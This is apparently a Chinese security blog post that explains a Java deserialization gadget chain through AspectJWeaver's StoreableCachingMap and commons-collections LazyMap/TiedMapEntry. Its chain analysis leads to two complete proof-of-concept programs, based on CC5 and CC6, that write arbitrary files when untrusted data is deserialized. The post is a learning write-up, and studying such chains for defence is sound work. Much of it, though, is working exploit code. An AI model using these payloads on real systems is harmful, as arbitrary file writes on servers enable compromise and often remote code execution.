Aspectjweaver反序列化

AspectJWeaver 是 AspectJ 框架的一部分,是一个用于实现面向切面编程(POA)的工具。AspectJWeaver 提供了在 Java 程序中使用 AspectJ 的功能,并通过字节码操纵技术来织入切面代码到应用程序的目标类中。

这篇文章不聊怎么任意利用文件写入进而来RCE,只学习一下如何利用AspectJWeaver通过反序列化来进行任意文件写入

依赖

1
2
3
4
5
6
7
8
9
10
11
12
<dependencies>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.2</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

链子寻找

这条链子也很简单,看到关键类SimpleCache$StoreableCachingMap:

StoreableCachingMap

这个类是继承的HashMap类,并且重写了HashMap的put方法。

这段代码的功能是将键值对添加到映射中。根据 value 的不同情况,可能会将路径设置为 “IDEM” 或使用 writeToPath 方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。

那个条件判断就是检查 valueBytes 是否与 SimpleCache.SAME_BYTES 相等。如果相等,说明 value 是一个特定的字节数组(SimpleCache.SAME_BYTES ="IDEM".getBytes();),则将 path 设置为 “IDEM”。

这里显然会进入到else,跟进writeToPath方法:

writeToPath

它创建一个文件输出流对象,将字节数组写入到文件中。而且folder可控,这里就可以达成任意路径写文件的效果了。

那么由谁来触发StoreableCachingMap的put方法呢?

刚过说了,StoreableCachingMap类是继承了HashMap类的,所以触发方法跟触发HashMap.put的方法是一样的。这里最常见的方法就是利用LazyMap.get()来触发,这在CC5和CC6链中用到过。

get

文件内容由factory.transform方法返回,我们可以用ConstantTransformer直接写。

ConstantTransformer

CC5/CC6链是用TiedMapEntry.getValue()触发来LazyMap.get(),也有CC1的AnnotationInvocationHandler动态代理触发LazyMap.get(),但遗憾的是CC1get传入的key是调用的method,我们不可控,所以不能用于改链。

getValue

这里直接给出poc

CC5+AspectJWeaver poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
//反射获取构造函数
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
//实例化对象
HashMap map = (HashMap) constructor.newInstance("C:\\Users\\admin\\Desktop\\Aspectjweaver", 1); //第一个参数是文件夹,第二个随意数字

// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("Infernity 1145141919810".getBytes(StandardCharsets.UTF_8));

Map<Object,Object> lazyMap = LazyMap.decorate(map,transform);
TiedMapEntry tidmapentry = new TiedMapEntry(lazyMap, "1.txt"); //第二个参数key是文件名

//BadAttributeValueExpException触发toString
BadAttributeValueExpException BadAttributeValueExpException = new BadAttributeValueExpException(null);
setValue(BadAttributeValueExpException,"val", tidmapentry);

String a = serialize(BadAttributeValueExpException);
unserialize(a);
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}


//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

calc

CC6+AspectJWeaver poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Main {
public static void main(String[] args) throws Exception {
//反射获取构造函数
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor constructor = clazz.getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
//实例化对象
HashMap map = (HashMap) constructor.newInstance("C:\\Users\\admin\\Desktop\\Aspectjweaver", 1); //第一个参数是文件夹,第二个随意数字

// 这里用到ConstantTransformer是为了构造value,即写入文件的值
ConstantTransformer transform = new ConstantTransformer("Infernity 1145141919810".getBytes(StandardCharsets.UTF_8));

Map<Object,Object> lazyMap = LazyMap.decorate(map,transform);
TiedMapEntry tidmapentry = new TiedMapEntry(lazyMap, "2.txt"); //第二个参数key是文件名

HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tidmapentry,"anything");

String a = serialize(map2);
//System.out.println(a);
unserialize(a);
}

//提供需要序列化的类,返回base64后的字节码
public static String serialize(Object obj) throws IOException {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(obj);
String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
return poc;
}


//提供base64后的字节码,进行反序列化
public static void unserialize(String exp) throws IOException,ClassNotFoundException{
byte[] bytes = Base64.getDecoder().decode(exp);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
}

这虽然在序列化的时候也会触发写文件,但是无伤大雅。反序列化的时候能触发就行。

参考文章:https://blog.csdn.net/uuzeray/article/details/136595841


Aspectjweaver反序列化
http://example.com/2025/03/24/Aspectjweaver反序列化/
作者
Infernity
发布于
2025年3月24日
许可协议